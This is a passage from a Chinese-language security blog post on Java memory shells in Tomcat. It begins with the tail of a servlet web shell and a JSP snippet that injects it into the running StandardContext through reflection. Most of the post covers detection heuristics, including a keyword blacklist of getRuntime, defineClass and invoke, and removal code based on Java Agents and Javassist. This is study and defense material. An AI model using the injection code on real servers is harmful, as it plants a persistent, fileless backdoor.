BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

%>
<%
// 获得StandardContext
Field reqF=request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardCcontext = (StandardContext) req.getContext();

// 创建Wrapper
Servlet_memshell servlet_memshell = new Servlet_memshell();
Wrapper wrapper = standardCcontext.createWrapper();
String name = servlet_memshell.getClass().getSimpleName();
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet_memshell);
wrapper.setServletClass(servlet_memshell.getClass().getName());

// 将Wrapper添加到StandardContext
standardCcontext.addChild(wrapper);
standardCcontext.addServletMappingDecoded("/servlet",name);
%>

内存马检测

1
2
3
上报,重启
duckmemoryscan
看日志,修漏洞,恢复环境

Java内存马检测一般利用Java Agent技术遍历所有已经加载到内存的class,判断是否未内存马。

1
2
3
4
5
6
7
8
9
10
11
12
public class Transformer implements ClassFileTransformer {
public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
// 识别内存马
if(isMemshell(aClass,bytes)){
// 查杀内存马
byte[] newClassByte = killMemshell(aClass,bytes);
return newClassByte;
}else{
return bytes;
}
}
}

内存马识别

  • filter名字

    ​ 内存马的Filter名一般比较特别,有shell或者随机数等关键字。这个特征稍弱,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常的名字。

  • filter优先级

    ​ 为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。

  • 访问不存在目录,但是响应返回200

  • 对比web.xml有没有相应的配置。

    ​ 内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。

  • 特殊的classloader加载

    ​ 我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImplbcel执行任意代码。所以这些class往往就是以下这两个:

    • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

    • com.sun.org.apache.bcel.internal.util.ClassLoader

  • 对应的classloader路径下没有class文件

    ​ 所谓内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static boolean classFileIsExists(Class clazz){
if(clazz == null){
return false;
}

String className = clazz.getName();
String classNamePath = className.replace(".", "/") + ".class";
URL is = clazz.getClassLoader().getResource(classNamePath);
if(is == null){
return false;
}else{
return true;
}
}
  • Filter的doFilter方法中是否村咋恶意代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private static boolean isMemshell(Class targetClass,byte[] targetClassByte){
ClassLoader classLoader = null;
if(targetClass.getClassLoader() != null) {
classLoader = targetClass.getClassLoader();
}else{
classLoader = Thread.currentThread().getContextClassLoader();
}

Class clsFilter = null;
try {
clsFilter = classLoader.loadClass("javax.servlet.Filter");
}catch (Exception e){
}

// 是否是filter
if(clsFilter != null && clsFilter.isAssignableFrom(targetClass)){
// class loader 是不是Templates或bcel
if(classLoader.getClass().getName().contains("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader")
|| classLoader.getClass().getName().contains("com.sun.org.apache.bcel.internal.util.ClassLoader")){
return true;
}

// 是否存在ClassLoader的文件目录下存在对应的class文件
if(classFileIsExists(targetClass)){
return true;
}

// filter是否包含恶意代码。
String[] blacklist = new String[]{"getRuntime","defineClass","invoke"};
String clsJavaCode = FernflowerUtils.decomper(targetClass,targetClassByte);
for(String b:blacklist){
if(clsJavaCode.contains(b)){
return true;
}
}
}else{
return false;
}
return false;
}

内存马查杀

  • 清除内存马中的Filter的恶意代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static byte[] killMemshell(Class clsMemshell,byte[] byteMemshell) throws Exception{
File file = new File(String.format("/tmp/%s.class",clsMemshell.getName()));
if(file.exists()){
file.delete();
}
FileOutputStream fos = new FileOutputStream(file.getAbsoluteFile());
fos.write(byteMemshell);
fos.flush();
fos.close();
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath("/tmp/");
CtClass cc = cp.getCtClass(clsMemshell.getName());
CtMethod m = cc.getDeclaredMethod("doFilter");
m.addLocalVariable("elapsedTime", CtClass.longType);
// 正确覆盖代码:
// m.setBody("{$3.doFilter($1,$2);}");
// 方便演示代码:
m.setBody("{$2.getWriter().write(\"Your memory horse has been killed by c0ny1\");}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
}
  • 模拟中间件注销Filter

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    //反序列化执行代码反射获取到StandardContext
    Object standardContext = ...;
    Field _filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    _filterConfigs.setAccessible(true);
    Object filterConfigs = _filterConfigs.get(standardContext);
    Map<String, ApplicationFilterConfig> filterConfigMap = (Map<String, ApplicationFilterConfig>)filterConfigs;
    for(Map.Entry<String, ApplicationFilterConfig> map : filterConfigMap.entrySet()){
    String filterName = map.getKey();
    ApplicationFilterConfig filterConfig = map.getValue();
    Filter filterObject = filterConfig.getFilter();
    // 如果是内存马的filter名
    if(filterName.startsWith("memshell")){
    SecurityUtil.remove(filterObject);
    filterConfigMap.remove(filterName);
    }
    }

参考链接

Request和Response的概述及其方法_pan-jin的博客-CSDN博客_response实现了什么接口

servlet内存马

Java安全学习——内存马

查杀Java web filter型内存马


内存马学习之Java内存马
https://genioco.github.io/2022/05/06/Learn/内存马学习之Java内存马/
作者
BadWolf
发布于
2022年5月6日
许可协议